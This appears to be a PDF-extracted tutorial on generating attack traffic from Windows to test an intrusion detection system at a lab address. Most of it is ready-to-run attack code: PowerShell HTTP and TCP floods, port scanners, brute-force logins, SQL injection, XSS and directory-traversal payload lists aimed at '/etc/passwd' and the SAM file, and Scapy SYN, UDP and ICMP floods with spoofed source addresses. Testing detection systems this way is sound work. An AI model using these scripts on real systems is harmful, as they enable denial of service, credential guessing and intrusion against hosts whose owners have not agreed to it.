Windows Traffic Generation WITHOUT tcpreplay

🎯 Overview

You **DO NOT need tcpreplay** to generate attack traffic on Windows! PowerShell and Python provide everything you need.

✅ Method 1: PowerShell Only (EASIEST - No Installation!)

PowerShell is built into Windows and incredibly powerful for traffic generation.

Quick Setup

```
# 1. Configure network (PowerShell as Admin)
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.2 -
PrefixLength 24 -DefaultGateway 192.168.100.1

# 2. Test
ping 192.168.100.1

# 3. Start generating traffic (see examples below)
```

🚀 PowerShell Attack Scripts

1. HTTP Flood (Simple)

PROF

```
# Simple HTTP flood
$target = "http://192.168.100.1"

Write-Host "Starting HTTP flood..." -ForegroundColor Cyan

for ($i = 1; $i -le 1000; $i++) {
    try {
        Invoke-WebRequest -Uri $target -TimeoutSec 2 -ErrorAction Stop
        Write-Host "Request $i - Success" -ForegroundColor Green
    } catch {
        Write-Host "Request $i - Sent" -ForegroundColor Yellow
    }
    Start-Sleep -Milliseconds 100
}

Write-Host "Complete!" -ForegroundColor Green
```

2. Port Scan Simulation

```powershell
# Port scanner simulation
$target = "192.168.100.1"
$ports = 1..10000

Write-Host "Starting port scan on $target..." -ForegroundColor Cyan

foreach ($port in $ports) {
    $connection = Test-NetConnection -ComputerName $target -Port $port -
WarningAction SilentlyContinue -ErrorAction SilentlyContinue

    if ($connection.TcpTestSucceeded) {
        Write-Host "Port $port - OPEN" -ForegroundColor Green
    } else {
        Write-Host "Port $port - Closed" -ForegroundColor Red
    }
}

Write-Host "Scan complete!" -ForegroundColor Green
```

3. Fast Parallel Port Scan

```powershell
# Fast port scan using parallel processing
$target = "192.168.100.1"
$ports = 1..10000

Write-Host "Starting fast port scan..." -ForegroundColor Cyan

$ports | ForEach-Object -Parallel {
    $tcpClient = New-Object System.Net.Sockets.TcpClient
    try {
        $tcpClient.ConnectAsync($using:target, $_).Wait(100)
        if ($tcpClient.Connected) {
            Write-Host "Port $_ OPEN" -ForegroundColor Green
        }
    } catch {
        # Port closed (expected)
    } finally {
        $tcpClient.Close()
    }
} -ThrottleLimit 100

Write-Host "Scan complete!" -ForegroundColor Green
```

PROF

4. TCP SYN Flood Simulation

```
# TCP connection flood
$target = "192.168.100.1"
$port = 80
$connections = 1000

Write-Host "Starting TCP flood to ${target}:${port}..." -ForegroundColor
Cyan

for ($i = 1; $i -le $connections; $i++) {
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $tcpClient.Connect($target, $port)
        Write-Host "Connection $i established" -ForegroundColor Green
        $tcpClient.Close()
    } catch {
        Write-Host "Connection $i attempted" -ForegroundColor Yellow
    }
    Start-Sleep -Milliseconds 50
}

Write-Host "Complete!" -ForegroundColor Green
```

5. SQL Injection Simulation

```
# SQL injection attempts
$target = "http://192.168.100.1/login"

$payloads = @(
    "' OR '1'='1",
    "admin'--",
    "1' OR 1=1--",
    "'; DROP TABLE users--",
    "' UNION SELECT NULL--",
    "admin' #",
    "' OR 'x'='x",
    "1'; WAITFOR DELAY '00:00:05'--"
)

Write-Host "Simulating SQL injection attacks..." -ForegroundColor Cyan

foreach ($payload in $payloads) {
    $encodedPayload = [uri]::EscapeDataString($payload)
    $url = "${target}?user=${encodedPayload}&pass=test"

    try {
        Invoke-WebRequest -Uri $url -TimeoutSec 2 -ErrorAction Stop
    } catch {
        Write-Host "Sent SQL injection: $payload" -ForegroundColor
Yellow
```

PROF

```
    }

    Start-Sleep -Seconds 1
}

Write-Host "Complete!" -ForegroundColor Green
```

6. XSS Attack Simulation

```
# Cross-Site Scripting (XSS) attempts
$target = "http://192.168.100.1/search"

$xssPayloads = @(
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert('XSS')>",
    "<svg/onload=alert('XSS')>",
    "javascript:alert('XSS')",
    "<iframe src='javascript:alert(XSS)'>",
    "<body onload=alert('XSS')>"
)

Write-Host "Simulating XSS attacks..." -ForegroundColor Cyan

foreach ($payload in $xssPayloads) {
    $encodedPayload = [uri]::EscapeDataString($payload)
    $url = "${target}?q=${encodedPayload}"

    try {
        Invoke-WebRequest -Uri $url -TimeoutSec 2 -ErrorAction Stop
    } catch {
        Write-Host "Sent XSS: $payload" -ForegroundColor Yellow
    }

    Start-Sleep -Seconds 1
}

Write-Host "Complete!" -ForegroundColor Green
```

PROF

7. Directory Traversal Simulation

```
# Directory traversal attempts
$target = "http://192.168.100.1/download"

$traversalPayloads = @(
    "../../../../etc/passwd",
    "..\..\..\..\windows\system32\config\sam",
    "....//....//....//etc/passwd",
    "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
    "..%252f..%252f..%252fetc%252fpasswd"
)

Write-Host "Simulating directory traversal attacks..." -ForegroundColor
Cyan

foreach ($payload in $traversalPayloads) {
    $url = "${target}?file=${payload}"

    try {
        Invoke-WebRequest -Uri $url -TimeoutSec 2 -ErrorAction Stop
    } catch {
        Write-Host "Sent traversal: $payload" -ForegroundColor Yellow
    }

    Start-Sleep -Seconds 1
}

Write-Host "Complete!" -ForegroundColor Green
```

8. Multi-Attack Comprehensive Suite

```
# save as: comprehensive_attack_suite.ps1

$target = "192.168.100.1"
$webTarget = "http://$target"

Write-Host "╔════════════════════════════════════════╗" -ForegroundColor
Cyan
Write-Host "║  Comprehensive Attack Simulation       ║" -ForegroundColor
Cyan
Write-Host "╚════════════════════════════════════════╝" -ForegroundColor
Cyan
Write-Host ""

# Attack 1: Reconnaissance - Port Scan
Write-Host "[1/6] Reconnaissance - Port Scanning..." -ForegroundColor
Yellow
$commonPorts = @(21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389,
8080, 8443)
foreach ($port in $commonPorts) {
    Test-NetConnection -ComputerName $target -Port $port -WarningAction
SilentlyContinue | Out-Null
    Write-Host "  Scanned port $port" -ForegroundColor Gray
}
Start-Sleep -Seconds 2

# Attack 2: Web Application - SQL Injection
Write-Host "[2/6] Web Attack - SQL Injection..." -ForegroundColor Yellow
$sqli = @("' OR '1'='1", "admin'--", "1' OR 1=1--")
```

PROF

```
foreach ($payload in $sqli) {
    try {
        $url = "$webTarget/login?
user=$([uri]::EscapeDataString($payload))"
        Invoke-WebRequest -Uri $url -TimeoutSec 1 -ErrorAction Stop
    } catch {
        Write-Host "  Sent: $payload" -ForegroundColor Gray
    }
}
Start-Sleep -Seconds 2

# Attack 3: Web Application - XSS
Write-Host "[3/6] Web Attack - Cross-Site Scripting..." -ForegroundColor
Yellow
$xss = @("<script>alert('XSS')</script>", "<img src=x
onerror=alert('XSS')>")
foreach ($payload in $xss) {
    try {
        $url = "$webTarget/search?
q=$([uri]::EscapeDataString($payload))"
        Invoke-WebRequest -Uri $url -TimeoutSec 1 -ErrorAction Stop
    } catch {
        Write-Host "  Sent: $payload" -ForegroundColor Gray
    }
}
Start-Sleep -Seconds 2

# Attack 4: Brute Force - Multiple Login Attempts
Write-Host "[4/6] Brute Force - Login Attempts..." -ForegroundColor
Yellow
$users = @("admin", "root", "user", "test")
$passwords = @("password", "123456", "admin", "letmein")
foreach ($user in $users) {
    foreach ($pass in $passwords) {
        try {
            $url = "$webTarget/login?user=$user&pass=$pass"
            Invoke-WebRequest -Uri $url -TimeoutSec 1 -ErrorAction Stop
        } catch {
            Write-Host "  Tried: $user:$pass" -ForegroundColor Gray
        }
    }
}
Start-Sleep -Seconds 2

# Attack 5: DDoS - HTTP Flood
Write-Host "[5/6] DDoS - HTTP Flood..." -ForegroundColor Yellow
for ($i = 1; $i -le 100; $i++) {
    try {
        Invoke-WebRequest -Uri $webTarget -TimeoutSec 1 -ErrorAction
Stop | Out-Null
    } catch {
        # Expected
    }
```

PROF

```
    if ($i % 20 -eq 0) {
        Write-Host "  Sent $i requests" -ForegroundColor Gray
    }
}
Start-Sleep -Seconds 2

# Attack 6: TCP Connection Flood
Write-Host "[6/6] Network - TCP Flood..." -ForegroundColor Yellow
for ($i = 1; $i -le 50; $i++) {
    try {
        $tcp = New-Object System.Net.Sockets.TcpClient
        $tcp.Connect($target, 80)
        $tcp.Close()
    } catch {
        # Expected
    }
}
Write-Host "  Sent 50 TCP connections" -ForegroundColor Gray

Write-Host ""
Write-Host "╔════════════════════════════════════════╗" -ForegroundColor
Green
Write-Host "║  Attack Simulation Complete!           ║" -ForegroundColor
Green
Write-Host "╚════════════════════════════════════════╝" -ForegroundColor
Green
Write-Host ""
Write-Host "Check your IDS for detected attacks!" -ForegroundColor Cyan
```

9. Continuous Background Traffic

PROF

```
# save as: background_traffic.ps1
# Generates realistic background traffic continuously

$target = "192.168.100.1"
$webTarget = "http://$target"

Write-Host "Starting continuous background traffic..." -ForegroundColor
Cyan
Write-Host "Press Ctrl+C to stop" -ForegroundColor Yellow
Write-Host ""

$counter = 0

while ($true) {
    $counter++

    # Random activity type
    $activity = Get-Random -Minimum 1 -Maximum 6
    switch ($activity) {
        1 {
            # Normal HTTP request
            try {
                Invoke-WebRequest -Uri $webTarget -TimeoutSec 1 | Out-
Null
                Write-Host "[$counter] HTTP request" -ForegroundColor
Green
            } catch {}
        }
        2 {
            # TCP connection
            $port = Get-Random -Minimum 80 -Maximum 100
            try {
                $tcp = New-Object System.Net.Sockets.TcpClient
                $tcp.Connect($target, $port)
                $tcp.Close()
                Write-Host "[$counter] TCP connection to port $port" -
ForegroundColor Cyan
            } catch {}
        }
        3 {
            # Ping
            Test-Connection -ComputerName $target -Count 1 -Quiet | Out-
Null
            Write-Host "[$counter] ICMP ping" -ForegroundColor Blue
        }
        4 {
            # Port check
            $port = Get-Random -Minimum 1 -Maximum 1000
            Test-NetConnection -ComputerName $target -Port $port -
WarningAction SilentlyContinue | Out-Null
            Write-Host "[$counter] Port scan: $port" -ForegroundColor
Yellow
        }
        5 {
            # Multiple HTTP requests (burst)
            for ($i = 0; $i -lt 5; $i++) {
                try {
                    Invoke-WebRequest -Uri $webTarget -TimeoutSec 1 |
Out-Null
                } catch {}
            }
            Write-Host "[$counter] HTTP burst (5 requests)" -
ForegroundColor Magenta
        }
    }

    # Random delay between 100ms and 2s
    $delay = Get-Random -Minimum 100 -Maximum 2000
    Start-Sleep -Milliseconds $delay
}
```

✅ Method 2: Python + Scapy (More Powerful)

Python with Scapy gives you complete control over packet creation.

Setup (One-Time)

```
# 1. Install Npcap
# Download from: https://npcap.com/
# Install with "WinPcap API-compatible Mode" checked

# 2. Install Python
# Download from: https://www.python.org/
# Check "Add Python to PATH" during installation

# 3. Install Scapy
pip install scapy

# 4. Verify
python -c "from scapy.all import *; print('Scapy ready!')"
```

Python Attack Scripts

1. Simple Packet Sender

```python
# save as: simple_sender.py
from scapy.all import *
import time

target = "192.168.100.1"
iface = "Ethernet"  # Your adapter name

print("Sending TCP SYN packets...")

# Send 100 SYN packets to different ports
for port in range(80, 180):
    packet = IP(dst=target)/TCP(dport=port, flags="S")
    send(packet, iface=iface, verbose=0)
    print(f"Sent SYN to port {port}")
    time.sleep(0.1)

print("Done!")
```

PROF

2. Port Scanner

```python
# save as: port_scanner.py
from scapy.all import *

target = "192.168.100.1"
iface = "Ethernet"

print(f"Scanning ports on {target}...")

# Scan common ports
ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 8080]

for port in ports:
    # Send SYN
    syn_packet = IP(dst=target)/TCP(dport=port, flags="S")
    send(syn_packet, iface=iface, verbose=0)
    print(f"Scanned port {port}")
    time.sleep(0.1)

print("Scan complete!")
```

3. HTTP Request Generator

```python
# save as: http_generator.py
from scapy.all import *
import time

target = "192.168.100.1"
iface = "Ethernet"

print("Sending HTTP requests...")

for i in range(100):
    # HTTP GET request
    http_request = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target)

    packet = IP(dst=target)/TCP(dport=80,
flags="PA")/Raw(load=http_request)
    send(packet, iface=iface, verbose=0)

    print(f"Sent HTTP request {i+1}")
    time.sleep(0.5)

print("Done!")
```

PROF

4. SYN Flood

```
# save as: syn_flood.py
from scapy.all import *
import random

target = "192.168.100.1"
target_port = 80
iface = "Ethernet"

print("Starting SYN flood...")

for i in range(1000):
    # Random source IP and port
    src_ip = f"192.168.{random.randint(1,254)}.{random.randint(1,254)}"
    src_port = random.randint(1024, 65535)

    # Create SYN packet
    packet = IP(src=src_ip, dst=target)/TCP(sport=src_port,
dport=target_port, flags="S")
    send(packet, iface=iface, verbose=0)

    if (i+1) % 100 == 0:
        print(f"Sent {i+1} SYN packets")

    time.sleep(0.01)

print("Done!")
```

5. UDP Flood

PROF

```
# save as: udp_flood.py
from scapy.all import *
import random

target = "192.168.100.1"
iface = "Ethernet"

print("Starting UDP flood...")

for i in range(1000):
    # Random source IP and ports
    src_ip = f"192.168.{random.randint(1,254)}.{random.randint(1,254)}"
    dst_port = random.randint(1, 65535)

    # Random payload
    payload = ''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZ',
k=100))

    # Create UDP packet
    packet = IP(src=src_ip,
dst=target)/UDP(dport=dst_port)/Raw(load=payload)
    send(packet, iface=iface, verbose=0)

    if (i+1) % 100 == 0:
        print(f"Sent {i+1} UDP packets")

print("Done!")
```

6. ICMP Flood

```
# save as: icmp_flood.py
from scapy.all import *
import random

target = "192.168.100.1"
iface = "Ethernet"

print("Starting ICMP flood...")

for i in range(1000):
    # Random source IP
    src_ip = f"192.168.{random.randint(1,254)}.{random.randint(1,254)}"

    # Create ICMP echo request
    packet = IP(src=src_ip, dst=target)/ICMP()
    send(packet, iface=iface, verbose=0)

    if (i+1) % 100 == 0:
        print(f"Sent {i+1} ICMP packets")

print("Done!")
```

PROF

7. Multi-Protocol Attack

```
# save as: multi_attack.py
from scapy.all import *
import random
import time

target = "192.168.100.1"
iface = "Ethernet"

print("Starting multi-protocol attack simulation...")

for i in range(500):
    attack_type = random.randint(1, 4)
    if attack_type == 1:
        # TCP SYN
        port = random.randint(1, 1000)
        packet = IP(dst=target)/TCP(dport=port, flags="S")
        print(f"[{i+1}] TCP SYN to port {port}")

    elif attack_type == 2:
        # UDP flood
        port = random.randint(1, 65535)
        packet = IP(dst=target)/UDP(dport=port)/Raw(load="X"*100)
        print(f"[{i+1}] UDP to port {port}")

    elif attack_type == 3:
        # ICMP ping
        packet = IP(dst=target)/ICMP()
        print(f"[{i+1}] ICMP ping")

    else:
        # HTTP request
        http_req = f"GET / HTTP/1.1\r\nHost: {target}\r\n\r\n"
        packet = IP(dst=target)/TCP(dport=80,
flags="PA")/Raw(load=http_req)
        print(f"[{i+1}] HTTP request")

    send(packet, iface=iface, verbose=0)
    time.sleep(0.05)

print("Attack simulation complete!")
```

8. Read and Send from File

```
# save as: send_from_file.py
from scapy.all import *

target = "192.168.100.1"
iface = "Ethernet"

# If you have a PCAP file, read and send packets
pcap_file = "C:\\path\\to\\your\\capture.pcap"

try:
    print(f"Reading packets from {pcap_file}...")
    packets = rdpcap(pcap_file)

    print(f"Loaded {len(packets)} packets")
    print("Sending to IDS...")

    # Modify destination to your IDS
    for i, packet in enumerate(packets):
        if IP in packet:
```

PROF

```
                packet[IP].dst = target
                send(packet, iface=iface, verbose=0)

                if (i+1) % 100 == 0:
                    print(f"Sent {i+1} packets")

                time.sleep(0.01)

        print("Done!")

    except FileNotFoundError:
        print(f"PCAP file not found: {pcap_file}")
        print("You can:")
        print("1. Capture traffic with Wireshark and save as .pcap")
        print("2. Download sample PCAPs from malware-traffic-analysis.net")
        print("3. Use the other scripts to generate traffic")
```

🎮 Usage Examples

Quick Test (PowerShell)

```
# Terminal 1 - Basic HTTP traffic
while ($true) {
    curl "http://192.168.100.1"
    Start-Sleep -Milliseconds 500
}
```

Full Attack Simulation (PowerShell)

PROF

```
# Run the comprehensive suite
.\comprehensive_attack_suite.ps1
```

Python Attack (Scapy)

```
# Run Python script
python syn_flood.py

# Or multi-protocol
python multi_attack.py
```

📊 Comparison

Method	Pros	Cons	Best For
PowerShell	✅ No install ✅ Easy ✅ Fast setup	× Limited packet control	Quick testing, demos
Python/Scapy	✅ Full control ✅ Custom packets ✅ Powerful	× Requires Npcap × Install needed	Research, advanced attacks
tcpreplay	✅ PCAP replay	× Not native × Needs download	PCAP replay only

🎯 Recommendations

For Quick Testing → Use PowerShell

- No installation
- Run scripts immediately
- Perfect for demos

For Research → Use Python/Scapy

- Full packet control
- Custom attack patterns
- Professional-grade

For PCAP Replay → Use Scapy

- Can read and modify PCAPs
- No need for tcpreplay
- Python script above shows how

PROF

🚀 Complete Workflow (No tcpreplay!)

Option 1: PowerShell Only

```
# 1. Setup
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.2 -
PrefixLength 24 -DefaultGateway 192.168.100.1

# 2. Test
ping 192.168.100.1

# 3. Attack!
.\comprehensive_attack_suite.ps1
```

```
# Or simple
1..1000 | ForEach-Object { curl "http://192.168.100.1" }
```

Option 2: Python/Scapy

```
# 1. Setup (one-time)
pip install scapy

# 2. Configure network
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.2 -
PrefixLength 24 -DefaultGateway 192.168.100.1

# 3. Test
ping 192.168.100.1

# 4. Attack!
python multi_attack.py
```

📚 Summary

You DON'T need tcpreplay!

PowerShell (Easiest)

- ✅ Zero installation
- ✅ Works immediately
- ✅ 10+ ready-to-use scripts provided
- ✅ Perfect for most use cases

Python/Scapy (Most Powerful)

PROF

- ✅ One-time install (Npcap + Scapy)
- ✅ Complete packet control
- ✅ Can read/send PCAPs without tcpreplay
- ✅ Professional-grade attacks

Both methods work perfectly with your IDS system! 🎉